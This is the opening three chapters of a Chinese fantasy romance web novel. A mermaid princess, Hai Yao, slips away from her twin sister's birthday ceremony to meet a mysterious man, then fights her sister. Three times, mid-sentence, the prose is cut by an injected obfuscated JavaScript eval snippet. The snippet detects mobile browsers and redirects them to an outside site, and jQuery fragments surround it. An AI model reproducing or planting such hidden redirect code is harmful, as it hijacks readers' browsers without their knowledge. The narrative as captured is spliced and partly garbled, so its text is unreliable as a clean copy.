《神明求我亵渎》
1. 第 1 章
“姐姐,我们的生辰,你一定要来,祭神礼,难道你不想祝福我吗?姐姐,如果你不回来,我真的会难过。”
海谣意识朦胧,不住地往前,停下来时,已经回到了幻海海底。
声音不断在脑中循环,犹如魔咒。
意识到不对,海谣揉了揉心口,这个地方,莫名涌起一股不可名状的难受,想到妹妹那张挂着泪痕的脸,她竟害怕她伤心,连看她失望,也不忍!
海谣差点觉得自己疯了,念了一个清心诀。五感恢复清晰,眼睛被珠光灼得刺痛,宴会热闹的喧哗穿过宫墙,传出来成了模糊的嗡嗡声。
霜璃宫上下都在庆祝七公主的生辰,一百五十岁,用人间的说法,正是及笄之年,庆典格外隆重。
自然,也是六公主海谣的生辰,她们同日而生,却许久没有一起庆生了。
姐姐,回来吧......海谣捂住耳朵。
要不要回去?
两个捧着华冠彩衣的侍女从转角处来,她足下一转,躲到半透明的冰柱后面。
婢女没看到躲起来的女孩,径直往殿内走去。
海谣抬手划开一轮水镜。
宫室深处,一名盛装少女坐在妆台前,明镜映出的面庞与她有三分相似。
不时有三两声奉承传来。
“七公主真漂亮。”
“七公主生得美,看这双腿多好。”
听着侍女的赞美,少女面色恬静,她身后的妇人却抑不住喜悦。
妇人双手搭在少女肩头,犹如在看一件稀世珍宝。
幻海妖域的公主都生得不错,美貌易求,但要将鱼尾修成双腿,却颇为不易。少数鲛人五百岁修得双足,大多则需千年之久,七公主尚在少年,便拥有了一双白皙漂亮的腿,可谓天资极高。
七公主诞生时的预言,似乎就快实现了。
妇人微笑着叮嘱女儿。
“祭神礼,不要紧张,你是幻海的公主,代表着所有子民,跪拜时要虔诚,记得笑,神明在看着......”
门外突然传来一阵急切的呼唤。
闯进来的婢女一张脸涨得通红:“六公主不见了。”
“又不见了,什么时候不见,谣儿何时才能懂事一点,今天是什么日子她不懂吗,还是姐姐,宫里都找过了吗?”
“回娘娘,满宫都找过了,没看到六公主。”
妇人登时无奈,祭神大典象征着族民对神的敬重,隆重非凡,幻海所有的妖都会来,眼下离庆典开始不足一炷香的功夫,少了位公主,叫人看笑话还在其次,那孩子性子孤忸,不亲近姊妹,又不喜说话,一会要这个,一会要那个,回来错过了,定要闹腾一番。
“罢了,我去找她,你们好好给七公主上妆,记得把那只五色珊瑚簪子给她戴上。”
妇人摇着头,还未踏出殿门,屋中突然乱成一团,压低的焦灼声密匝匝响了起来。
“没有啊。”
“怎么突然不见了。”
“快去金钗匣找找。”
妇人严厉问道:“又怎么了?”
婢女声音哆嗦:“回娘娘,七公主的五色簪......不知怎的,不见了。”
“好端端的怎会不见!七公主的寝殿除了你们还有谁会来。”
妇人大怒,婢女们都低下头,窸窸窣窣地开始解开外衣,证明自己没有偷盗。
不知是谁说了句。
“娘娘,六公主之前也说过喜欢五色钗,会不会......”
妇人叹道:“一支簪子而已,不是说好了过几日再补给她,不是给了她一只海柳做的?”
盛装少女闻言道:“阿娘算了,一支簪子而已,不见就不见了吧,说不准过几天那只簪子就自己出来了。”
五色珊瑚生长在千里之外的幻海秘境,传闻有异兽守护,只因爱女想要,海君寻遍幻海,斩杀了一只万年蟹妖,才取得一小枝。珍稀的珊瑚木仅能做一支发钗,这次丢了,不知何年何月才能做出第二支。
七公主宽慰母亲,柳眉却稍显落寞。
妇人怕女儿伤心,忙对身后两个丫鬟道,“你们去找谣儿,再多派几个人手去找簪子,宫中每一处都不要落下!”
海谣收起水镜,跃身朝海面游去。
两个被派出宫找人的丫鬟满面愁云,红衣侍女道,“我们真要去找六公主?找不到要被娘娘训斥,就算找到她,又哪里是咱俩劝得动的。”
绿衣侍女打了个哈欠,道:“找她做什么,还嫌这几日不够累么,咱们去前面红珊林打个盹,回去就说找到了,她不想回来。”
珊瑚林,红尾鱼群在礁石里穿梭。
暗流涌动,林如鬼爪,黑影倏动。
绿衣侍女情不自禁打了个寒颤,“谁在附近!”
无人应答,她不由得抱紧胳膊,见同伴已经坐在礁石下睡着了,忍不住伸手把对方晃醒。然而红衣女子双目紧闭,身子软绵绵地侧倒到一旁,眉心隐隐冒着黑气。
“怎么睡得那么沉......”
扶起同伴,绿衣人登时飞逃,尖叫。
群妖都在霜璃宫为公主庆生,他们真心地祝愿公主健康安乐,虔诚地祈祷幻海妖族能得神明一夕庇佑,尽管神明从来不会回应,他们还是愿意奉上最珍贵的公主。如今公主已然长成,预言中的将要迎娶公主的神明,会不会降临呢?
酒过三旬,海底群妖跳起了独属于幻海的舞蹈,舞姿带着野性,并不十分优美,舞步神态之中,尽是真诚。
海面之上,萧声随波而来,那样的动听、柔和,仿佛蕴藏了无限的力量,海风、流云、水浪,乃至岁月时光,好似都在它的指引下缓缓运行。
乌篷船驶向深海,就那么悠然荡着。船上坐着一人,是个男子,他身姿修长,黑袍快占据了整条穿身,长发华丽地散开,日光太亮,看不清他的脸,唯见轮廓投下的一段流畅优雅的淡影。
萧声自他指尖而出,调子升高,船头一团黑雾便狰狞地翻腾,散发出的戾气似要把周遭的空气全部同化。
巡海妖卫察觉异样,念咒掐诀,海面毫无征兆地鼓动起来,巨浪翻涌。
妖卫不屑轻嗤,钻回了海底,浑然没有注意到船还在原处。船上人换了个坐姿,他修长的手指抵着玉箫,指尖不断起落,变化着声调。
萧声忽停,船头的黑雾不见了,男人看向水面。
“海谣?”他问道。
水下钻出一张小脸,水珠顺着略尖的下巴低落,皮肤清透得仿佛月下明珠。
“陆言,我回来了。”
“小谣儿一声不吭就走掉,真让人伤心。”
“我好像被什么东西下了咒。”
“怎么可能!严不严重?”
陆言语气吃惊,海谣却听出他并不相信,也毫不担心,丫鬟们嫌她多事时也是这样敷衍,她不快道:“真的很可怕,我突然控制不住自己。”
“会没事的。”
海谣心情奇异地平和下来,她扶住船舷,仰头看着陆言。
陆言在海上飘了十几天,若是个凡人,就算把身后的船舱全都塞满粮草淡水,也难以支撑这么久,可说他是仙,他又要靠舟楫渡海,似乎没有灵力,他到底是什么?
“你怎么还在这里?陆言,你到底是人还是魔。”
这一瞬间,海谣心生警惕,她猛地推开船舷向后退出一丈。
船身同时剧烈地摇晃,水珠溅入船中。
船上人没有责怪,他收起玉萧,一手撑着下颌,三重黑白交叠的宽袖顺着手臂滑落,散发着蛊惑人心的吸引力。
“小谣儿,我把我的过往都告诉你了,你知道我所有的事,我也懂得你的处境,如果我是人,你就会讨厌我吗?如果我是魔,你又会怕我吗?其实,我们都很孤独啊。”
海谣出了片刻神,她有数不清的兄弟姐妹,却还是孤单。
但陆言更可怜些,他拥有过热闹鲜活的日子,最后却失去了。
他曾有两个很好的朋友。其中一人爱妻早逝,因思妻心切,险些堕魔,后来余生都在寻找起死的药方。另一人是个正道修士,他爱上了一个女魔,困于道义,很久都没能看请自己内心,也不曾吐露情意,最后那名女子离开了,他入了情障。
好友双双沉寂,携友同游终于成了不忍回忆的往事,海谣万分惋惜,心脏涌起轻微的酸胀,就像被一双手揉皱又松开,有些难受,但她却深深地沉醉在了凄婉的故事之中。
世间男子凉薄,这两个人却如此重情,人以类聚,陆言又怎么会是个坏人呢?
仿佛知道她心中所想,薄唇勾出一点弧度,他向她伸出手。宽袖落入海中,沾了水的衣袍没有皱成一团,仍旧庄严地垂落,在海谣心里掀起一阵又一阵道不明的战栗。
她终是游了回去,握住了那只修长好看的手。
“我是什么很重要吗?”陆言问,“这么多天,我们不是一直相处得很好吗?”
海谣轻轻哼了声,忽然想到了好多问题。
“陆言,你的朋友现在怎么样了?”
“思念成疾,形销骨立。”
“你的伤口还疼吗?”
眼见好友在入魔边缘徘徊,陆言欲把那人劝回正道,被失了心志的友人打成重伤。
心头酸胀感又涌了上来,海谣用力看着陆言,从脸看到脖颈,再是前襟、腰际,她想从他身上找到受伤的痕迹。
海谣太专注了,没主意到陆言向上抽了两下的唇角,也没看到虚空中那团狂躁翻滚的黑雾。
“过了很
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179976|180904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多年了,早已经不疼了。”
海谣又问。
“陆言,你的妻子呢?”
陆言温柔地笑了:“你还是个孩子,不能听太伤心的东西。”
海谣深深抽了口气,愈发地好奇,“我不是小孩。”
“那真的是件令人难受的事,听了会很难过,会让你承受不住。”
海谣撇撇嘴,算了,陆言也是为她好。他能为她着想,她心里舒坦起来。
是人会如何,是魔又如何。
海谣懒得探究陆言怀着什么阴谋,他的手有点冷,有点硬,握起来很不舒服,但她一点也不想放开。
她把他身子拉低了些,仔细地看他的脸,这是一张很好看的青年的脸,二十出头的模样......她二十岁在做什么?
那时,她第一次浮上海面,百余年岁月倏忽而过,岸上渔民、流寇海盗、王侯贵族数不清的面孔如幻影匆匆流逝,模糊得让她没法记住,面前这张脸却清晰如刻。
海谣心中莫名有个念头,即便再过几百年,她也不会忘记。
手不自知地碰上他的眉眼,鼻梁,再往下......脑中一阵恍惚,她缩回了手。
陆言明明还在浅浅微笑,没有责怪她冒犯的举动,可那优雅而淡漠的笑容,却让她不敢放肆。海谣闷闷想着,她知道这只是自己的问题,只要她想,陆言一定不会拒绝她。
海谣觉得自己越来越喜欢这个人了,眸中警觉散去,毫无胆怯地问:“你为什么自己一个来幻海?”
陆言沉思半晌,认真道:“听说幻海公主诞辰将近,打算来送贺礼,可惜在海上漂泊数日,也没看到公主。”
海谣按捺不住兴奋,高傲地扬起下颌,“你还带了给公主庆生的贺礼?太好了,直接给我好吧。”
陆言道,“这是给海族公主的。”
海谣微微不快,“我没有告诉你我就是公主吗。”
陆言道:“是要给今天过生辰的,幻海最尊贵的公主。”
海谣羞恼:“今天就是我的生辰!”
见陆言犹有几分不信,海谣气鼓鼓地转过身,后背紧绷得笔直,一副漂亮的蝴蝶骨如蝶翼翕动。
陆言道:“好吧,我信你还不行吗?你就是公主,今天是你的生辰。”
还不行吗?这算什么态度!
听起来像是她骗了人,还要胡搅蛮缠地让别人认同,海谣感到恼怒,但陆言先服软,她心里堵的闷气已泻出三分,正考虑要不要转回去,一只修长的手突然从耳后出现。
指尖苍白得近乎透明,指腹下夹着一枚流光溢彩的珠子,海谣从没见过那么漂亮的珠子,七色光彩熠熠熠流转,恍若藏了一道彩虹,比海君从五色珊瑚林里带回的珊瑚枝还要美丽夺目。
海谣双唇不受控制地张大,她捧住珠子,惊喜道:“真漂亮,我从来没见过!”
女孩把宝珠碰到眼前,伸出手指轻点了下,珠子上的流光如云霞转动。
男人声音有着异样的动听,“这是琉璃珠,人间的王公贵族也很喜欢他们。”
女孩听罢,撇了撇嘴,“很多人都有?那我不要了。”她随手一抛,珠子落入大海。
她动作洒脱,眼睛却心虚地眨了眨。
陆言又从袖中掏出一只象牙小塔,他手指似与象牙一色,越发的好看。
海谣对人族的建筑没有过多兴趣,她推开小塔,陆言继续把手伸入袖中。
不知他还藏着多少珍贵奇巧的小玩意,海谣屏息等待,但忽然,她一想到这些东西最开始是为别人准备,心下索然无味。她强行摁住他正在找礼物的手,扬起小脸:“要不你送我些别的?”
陆言笑道:“不知公主想要什么?”
海谣略略思忖,凑近他道:“我想许个生辰愿望。”
男人问:“需要我来帮你实现?”
“那当然了。”
“不行。”
陆言语气决绝。
被拒绝的女孩气得呼吸沉重:“今天要不是有我在,那几个海卫怎么可能那么快放了你,你不该好好谢谢你的救命恩人吗?”
陆言严肃道:“小孩子不许说谎。”
“我才没说谎”
女孩不悦,用力甩一把鱼尾。
她抬起手,海忽变得成一轮水镜,镜面如冰澄湛,倒映着天上骄阳,很快镜中景物变成一座宏伟的海底宫殿,宫殿前的广场真是热闹极了,几乎所有海妖都出动了,争先恐后地要看公主及笄礼成——几只巡海的妖卫也在,正挤在层层海妖后神脖子踮脚。
“这是我的生辰宴,守卫都赶着参加这才轻易放了你。”
陆言笑道:“原来如此,好吧,你想许什么愿望?”
海谣想了想,郑重道:“我想嫁给神。”
2. 第 2 章
“不行,你只能许些我能办得到的愿望。”
陆言道。
海谣心知这不可能,轻松放弃了嫁给神的念头,“这个不算!我得再好好想想......”
忽然,身旁水镜中的画面一转。
寝殿华丽,少女面若桃花,一双柳眉却挂着愁思,她呆坐在妆台前,屋外传来的喜乐没能冲散沉闷的气息,连同几个丫鬟都颔首敛眉。
“她是谁?”陆言问。
海谣皱了下眉:“她是我妹妹,比我小一个时辰,今天也是她的生辰。”
陆言道:“原来她就是你妹妹,与你是有三分相似。”
“才没有!”海谣不满。
“好吧,没有,”他没有反驳,“是有六七分相似。”
海谣头一回生气了,发誓再也不理陆言,一扭头,水镜中妇人正巧回来,她把一支五色簪推进少女乌髻间。两张面容同时变得欢快,妇人眼角细纹愈深,她没有时间为自己逝去的年华惆怅,爱惜地凝视着女儿的笑靥。
丫鬟们齐赞道:“七公主戴这枚簪子真好看。”
妇人替少女捋齐耳后长发,“月儿这下可以安心了,”她吩咐丫鬟,“去外头通传,七公主很快就到。”
一众丫鬟挤着去报信。
海谣沉默地看了半日,哼了声,嫌弃地收回视线,却见陆言看得认真,她心烦意乱地游向远处。水面点点碎金飘来,原来是一片贝壳,她伸手去抓,结果手指被重重夹了一把,心情更差,听得水镜那边传来声音。
“六公主还没回来。”
打点好上下,妇人正要松口气,惊闻海谣未归,慌乱指着墙角几个丫鬟:“你们几个一块去找。”
脑中又是一阵恍惚,海谣悻悻游回船边,唇角不自知地上扬,扶着船舷道:“我得回去了。”
水蓝鱼尾一甩,浪花飞溅。
......
“怎么来的又是这丫头”
半空突然裂开一轮光圈,一道黑色的人影从中走出,他凌空而下,黑色斗篷迎风猎猎,他蹲回船头,远看便是一团黑雾。
“你很失望?”
“怎会,这样看来,至少她被保护得很好。”
“这是自然,为什么急着让她回去?”
“我不愿让她难过,可惜这丫头脾气不太好,幸好......”
“不必这么说,小孩而已。”陆言拾起落在船上的贝壳。
“她不是小孩,即使以前是,今天也不是了。”
“想说什么。”
“没什么,只是害怕事情生变,你的态度实在令我担心。倘若阁下尚有怜悯之心,那在下即刻打道回府,免得手下兵将白白送命。”
斜靠在船上的人将手往船外一挥,意为请便。
斗篷人诧异抬头,埋在兜帽下的双眸光芒锐利,“那漂亮丫头也在所不惜?”
“她是条鱼。”
“......鱼又如何,待她再修炼百年......而且她的确比我们见过的许多人漂亮,不是吗?”
“看来你很希望我插手?”
斗篷人道:“有阁下这句话,在下便无忧了,生死有命,无论今日结果如何,绝无怨言。”
*
海谣回到霜璃宫。宫殿由坚冰砌而成,玉器点缀,珍珠照明,千万颗明珠莹莹生辉,华光几经折反,映得殿宇晶莹剔透,哪怕在宫墙之外,也能依稀看里面人头攒动。
忽然间,音乐大作,七公主海月登上高台,似乎还不习惯用双足行走,显得有些忐忑,微不足道的瑕疵远不能掩盖她的美丽,围观的群众,都忍不住大声惊叹,争先恐后地往前挤。
海谣看到她五个姐姐,她们站成一排,最前面的大姐比她年长四百余岁,腰下仍是一条暗红鱼尾,余下四者亦是人身鱼尾,混在茫茫众生中,显得那样普通,她们正用艳羡的目光看着海月。
有什么了不起!
海谣疯狂念着清心诀,她发现自己把陆言弄丢了,鱼尾一甩,牟足劲向上游去。
她好不容易才找到一个那么顺心的人,她要把他找回来。
然而,几个奉命出来寻她的丫鬟就在附近。
海谣犹豫着降下,丫鬟们低头窃语,谈兴正浓,与她擦身而过,仿佛压根没看到她,紧接着,一红一绿两个身影从相反之处回来,丫鬟们很快迎上去。
海谣寻了个角落藏身。
“绿意,红枝,你们看到六公主了吗?”
“找着了,劝了好久,就是不回来,又发了好大脾气。”
“唉,那我们快回去禀告海后吧。”
......
海谣气得发抖,她独自一人走在贝壳路上,双指掐出水符,朝海面送去几个寻声决。
一连几下,皆无音讯,陆言好似凭空消失了。
海水颜色渐深,身畔海藻摇曳,脚下贝壳吱呀,这一切都让海谣皮肤战栗。
脚下突然多出一道巨大的黑影,她心头一跳,五指微屈,掌心凝出细流,不断降温,结成冰晶。
做足准备,她停住脚步,猛地回转,却在出手一刹掐碎冰环。
“公主要去哪里?”
原来陆言一直跟在她身后,黑白三重长袍垂坠着,衬得他的身形愈发挺拔。
海谣半气半笑:“你怎么不出声啊,我正找你,不过,你是怎么下来的?”
陆言掏出几贝壳:“跟着它们来的。”
海谣意外道:“这是低阶海贝,还是有些避水的用处,你怎么想到用它们引路,你真聪明啊!”
陆言笑道:“公主夸奖,荣幸之至。”
海谣却陷入沉思:“一直用贝壳开路也不是办法,而且贝壳和我们有大仇,谁知道它们跟着你是不是要干坏事。”
陆言纠正女孩,是他跟着贝壳,女孩不听,从他手中抢过贝壳,远远地扔到一边,又从身上取出一条银链,也不管合不合适,攀上男人肩头拨开他头发,把银链挂在他脖子上。
月牙形状的宝石垂在黑袍前,海谣拍了拍手:“这样多好看,像夜晚的月亮,还可以避水。”
陆言低下头,手指自宽袖中伸出,摸了摸胸前避水石,道:“多谢公主赏赐,真的很漂亮。”
六公主一直不见踪影,宫内不得不再次派丫鬟去寻。
典礼进行至半,乐声渐止,七公主的歌声悠扬飘来,没有锦瑟笙箫相伴,歌喉纯净清透,令人沉醉。
几个丫鬟迷糊了,心不在焉地绕着宫外慢悠悠踱了几步,商量好对策便神往地赶了回去。
这一切都被六公主看在眼中。
但海谣再没心思计较丫鬟失职,她紧拉着陆言的手躲到珊瑚树下,凑近他耳边低声道:“你要跟着我,如果让他们发现有人混进来,一定会杀了你的。”
陆言道:“是。”
陆言跟着她,片刻之后,海谣奇怪道:“你没有听到什么声音吗?”
“歌声?”
海谣点点头:“是啊,你为什么还醒着?”
她身子一歪扑到陆言身上,好奇地摸上他的脸,目光认真扫过,左看右看了一阵,终于确定他没有被妖歌侵扰,这实在有些反常,幻海鲛人擅以歌声摄取人心,寻常几百年道行的小妖亦难以抵挡......真奇怪啊,古怪的念头只在海谣心底一闪而过,她什么都没想明白,却十分开心。
她坚定道:“我想好愿望了,今天是我的生辰,你得一直陪着我,我去哪你就去哪,我说什么你都要听。”
陆言应道:“好,那我们现在要去哪呢?”
海谣有些犯难,深海每一处她都很熟悉,去哪都无所谓,但陆言不同,今日来霜璃宫的多是来参加庆典,他在海上漂了十来天,也是为了这个。
海谣低下头,虽然心中早就有数,仍然忍不住一阵烦躁,哼道:“你想不想去看海月的生辰礼?”
陆言摸了摸下巴,沉默半晌,“我是不是该说不想去?”
“不错,就是啊,有什么好看的,腿而已,有什么了不起。”海谣忽然直起身。周围水流化成实形,绕着她旋转。
鱼尾化成了一双修长的腿。
忽然间有光影缓缓降落,光与水交织成裳。
裙摆如纱如雾,遮住了两条腿。
海谣提起裙子转圈,陆言看她兴奋却生疏的步伐,赞美道:“真好看。”
海谣脚下踉跄,没听出陆言的心不在焉。
见女孩要摔到,陆言赶忙扶稳她,不料海谣跳到他身上。
陆言格住正欲勾他脖子的胳膊,严肃道:“这样不好。”可惜海谣毫无觉悟,她像抱树一样抱人,确保自己万无一失不会掉落。
“可是我走不了路,这条腿是假的,是我用幻术幻化出来的,你看它们一点力气都没有,你把我抱回去吧。”
支撑假腿的灵力很快耗尽,海谣晃着假腿,两条腿如玉兰一样轻飘飘垂了下来,耷拉在陆言身侧。
海谣不容拒绝地命令道:
“你拖住我,别把我摔了。”
陆言妥协,道:“好吧,这是一条假腿,我可以抱着你。但是你的假腿看起来很像真的,如果你有足够的灵力,是不是可以以假乱真?”
海谣道:“当然不是,且不说维持幻像消耗太大,就说这条腿,也只是表象罢了,是我看得到的,但看不到的就化不出来了。有些地方很复杂,等到和别人成亲,晚上一定会露馅的。”
陆言道:“谁告诉你这些?”
“我母后和嬷嬷啊......但这是她们教海月的,我偷偷听来的。”
陆言道:“是不是太着急了。”
海谣道:“修炼而已,有什么着不着急的,我妹妹修为最高,所以我爹娘想让她嫁给神仙。”
陆言道:“哦,是吗,所以你也想嫁给神?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179977|180904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
海谣道:“呸,我才不想嫁给神。”
说话间,一行海妖从殿内出来,海谣一身冷汗,忙指一条窄巷,让陆言抱着她躲到那里。几只妖皆有三分醉意,摇摇晃晃向外游去,接着更多的妖鱼贯而出,陆言压低声音问:“他们要去哪里?”
海谣哼道:“大概是去祭神吧,几个月前祭司看到神光,他用龟壳卜出神明今日降临,还说神是要来接海月,看,他们真的往海坛去了。”
海君海后带着他们的小公主出行,各族海妖追随着他们,从宫室的每一条道路源源不断涌出。海谣指挥陆言东躲西藏,好几次她都觉得被看到了,但那些从他们眼前擦过的妖都毫无反应,和那几个丫鬟一样,仿佛也没有看见他们。
*
女孩的卧房很简单,冰雪琉璃的世界,没有暖色点缀,也不见任何别致的摆件。
海谣照旧划开水镜。
祭神礼,她也想看看是怎么回事。
海君海后与七公主跪在祭坛上,他们面前的香案上摆满青铜器皿,随着他们行礼、叩拜,祭坛下的群妖窸窸窣窣,也虔诚地跪了下来。
很快,上苍有了回应,一束圣洁的光芒落下,这束光与天空洒下的光影不同,天上无论云霞多么绚烂,光彩落入深海都会变得朦胧暗淡,而这束光愈发明亮,光影中精光闪烁,如星子坠落,又如晴雪纷纷。
群妖惊讶地抬起头,亮光一寸一寸照亮他们的脸,七公主绽开笑容,海后欣慰地捂住心口,海君严肃的脸也溢出笑意。
有妖伸出手,等待精光落到掌中。
下一瞬,惊叫声此起彼伏。
“是贝!”
“怎么是恶心的贝!”
贝浪翻涌,铺天盖地落到群妖头上,脸上,身上,贝张开双壳,咬着群妖不肯松口。
一群身穿华服的妖滚做了一团。
水镜前,海谣笑得跌坐在地上,直到腹部的疼痛消散,对着陆言问:“好不好玩?”
陆言浅笑道:“是挺好玩的。不过他们为什么这么讨厌贝壳。”
海谣纠正:“不是讨厌,是害怕。在千万年前,幻海还没有海君,这时我们鲛人和贝同时找到这片荒地。”
“然后呢?”
“当然打起来了,打得很凶,双方都死伤不少,你看宫中用来铺路的贝壳,传说就是当年战败的贝族尸身,而鲛人的尸身都被好好安葬起来了。此后,贝一直痛恨鲛人,时不时就来捣乱,有时还会偷袭,打几场小仗,虽然贝族实力大减,但他们牟足劲杀起来,我们还是会损失不少。今天这么好的机会,怪不得贝要装作神仙来恶心他们。”
陆言问:“那你不担心吗?”
海谣道:“有什么好担心的,我爹娘都在那,族中最厉害的长老、妖修也都在,贝怎么可能会赢。幻海中......”
忽然感到一阵凉意,海谣翻身坐起,从妆台下取出缀着圆珠的项链,再次挂在陆言脖子上,漆黑交领上两颗宝石熠熠生光,如星月相伴。
“这样就不冷了。”
陆言捏着珠子:“公主送我这么多宝物,我该怎么报答公主。”
远处传来一阵喧哗,是一群女子的声音。海谣示意陆言别出声。
“哈哈,有什么了不起,七妹也不过如此。”
“幻海最尊贵的公主,神都要眷顾她,原来神是贝壳啊!”
“你看到贝壳咬她的脸吗?真有趣。”
海谣听出是她几个姐姐,顿时也来了兴致。
“我要去找海月,宫里有点什么好东西都是她的,她挑剩下才轮到我,不过去看她,手上总该有点礼物。”
陆言拿出琉璃珠,“送她这个。”
对于陆言的提议,海谣十分满意,不禁再次感叹陆言真贴心,她想什么他都知道。在出门前,她却犯了难。
“我这次没办法带上你......不过你放心,我很快就会回来,我才不像她们喜欢围着她转。”
海谣凝聚掌力,画了一个结界,将整个屋子囊括在内,“你一定要在这里等我啊,我很快回来。”
她再次强调。
*
交谈声突然消失,周遭静得出奇,水流缓缓穿过地上的死贝,贝壳起伏碰撞,发出极轻的敲击声。
海谣漫无目的找人,脑后突然炸开一声尖叫。
海谣面色一变,她循声看着那片阴沉沉的石头,怪石嶙峋,黑影交错,像一片小树林似的,凄厉扭曲的叫声忽高忽低,她心底窜出一阵恐惧。
递出寻声决,海谣走进石林,周围开始出现打斗的痕迹,有血色,还有散落一地的奇珍异宝,看似不是谋财,而是害命。
“别当我不知道,你们都在背后偷偷笑话我!”
海月的声音传来。
“没......没有......”
女子的声音嘶哑断续,仿佛随时都会咽气。
3. 第 3 章
真的是海月!
怎会是海月?
海谣手指紧紧抓着礁石,心里一阵惊涛拍岸,不知是激动还是恐惧,她浑身都在颤抖。
海月背对着她。
还是祭神时那身彩衣,披帛飘飘,臂膀高举,曲成施法的姿势。在绞杀术的凝聚下,细流绞成几股水绳,电光火石之间,水绳环住了对面女子的脖颈。
激荡的水流掀起海底泥沙。
女子拼命后退,直到后背抵住山石,她挣扎几下,石壁瞬间印下了大片暗红的血迹,斑斑驳驳。
腥气在淤泥浑浊的恶臭中散开。
海月没有收力。
水绳半紧不松,留足了猎物挣扎的空余,就像猫玩耗子。
海谣脑中浮现出了一张阴寒、狠厉,而饶有兴趣的脸。她就这么毫无表情地看着发生的一切,很快,心里懵懵懂懂涌起了一股巨大的狂喜。
诞生那日,族中最有威望的巫者卜出海月能泽披万世。后来,名不虚传,海月是幻海修为最高的公主,她永远恬淡高贵,哪怕深受君主君后喜爱,性子也没被宠坏,仿佛没有什么事会让她呼吸变得急促。
也不知道海君海后看到海月杀人,谁是什么反应。
海谣简直想让全幻海的族民都立刻到这来。
但海月为什么要这么生气?
杀人,至于吗,
幻海绞杀之术容学不易精,海月出行都有扈从随侍,从来不会遇到危险,她是何时把绞杀术修得如此精湛?
海谣暗自奇怪,心念转过,很快想通了,海月那么厉害,有什么不可能?她蹑手蹑脚地准备抽身,当然不是去找人,她知道自己什么人都叫不来,但刚转过身子,嘶哑的求饶断断续续飘来。
海谣迟疑了,声音有些耳熟,下意识回头。尖叫的脸,扭曲得面目全非,竟是四公主海影。
惨叫一声小过一声,眼瞧快没了气息,海谣幸灾乐祸,她这位四姐,天资极差,最简单的术法都要十几年才学会,容貌在族人之中同样平庸,靠讨好海月博得一点关注,许多时候姿态放得比丫鬟还低,却对自己翻过好几个白眼,好像欺负她能让她日子好过一些。
让你讨好别人......不会真的要死了吧,海谣小心翼翼露出半个身子,发现海月完全没有停手的意思,想了想,她右手掐诀,指尖祭出几道冰棱。
海月正架在杀招上,毫无防备,抵御不及。
冰棱正中曲折的手肘,碎成了一地冰晶。痛感袭来,海月松开手,海影瞬间滑落,大口大口换气。
华冠慢慢转动,半张秀丽阴郁的脸,露了出来。
秀目中,寒光乍现。
“你敢伤我?不知道下场是什么吗?”
海谣嫌恶看一眼地上瘫坐的鲛人,海影背地嘲笑海月,被人抓住,成了别人头一个开刀的对象。
何其好笑。
她眼角微扬,冷笑道:“能有什么下场,你不就是欺负海影又蠢又笨。怎么样?平时细声细气装得厉害,怎么突然藏不住了?”
话虽嚣张,海谣心头却在战栗,她从没与海月过过招,但如今到底是海月先化形成功,单凭此看,二人单打独斗,她胜算不大。
可事已至此,已无回旋余地。海月绘出水符,一掌拍来,遍地飞沙走石,海谣堪堪躲过。
水符炸碎礁石,尘埃团成巨团,滚滚散开,红尾小鱼逃出洞穴,身子扭成一条条细红的波浪,飞也似的逃离。
“除了躲,你还会什么!”
“神不要你,要不要我送你上天去见他?”
“一条假腿,也天天拿出来现世,没脸没皮。”
海谣连续躲过几个水符,气息逐渐紊乱,祭出的冰凌被海月一一化解。忽然,她感到身周的海水迅速朝一个方向涌去,在水流的冲击下,险些没法站稳,愣神之间,海月身前已经升起了一道竖直的巨大水幕。
水幕闪着鳞片似的银波,杀气汹涌,在强力的推动下铺天盖地袭来。
大范围的御水术覆盖空间每一处角落。
海谣无处躲避,若是强行接下,必然心脉断裂,血尽而亡。
轰隆几声绵延的巨响,犹如山陵崩陷,天昏地暗。
砂砾在水中疯狂旋转舞动。
泥沙缓缓降下,露出一张惊诧的笑靥,海谣仍稳稳立着,只是退了几步。
海月一怔,阴恻恻笑了。
“呵,平时真看不出来,藏得挺深。”
被人下杀招,海谣不再犹豫,她食指划空,眼睛紧盯一处,丝丝水流流速飞快,在水中翻起雪白的泡沫。
海月瞪大眼睛,想逃,却已被死死锁在原地,水刀无形,飞速穿梭着,很快在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179978|180904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她身上留下数道红痕。
海谣慢慢缩小水刀范围,小腹突然传来一阵剧痛,有什么东西打中了她。
她撤去术法,迅速对力量的来源做出回击。
地上半死不活的女子吐出一口鲜血,海谣大怒:“蠢货,她要杀你你还帮她?”
须臾之间,海月已水遁逃脱。
石林被夷为平地。
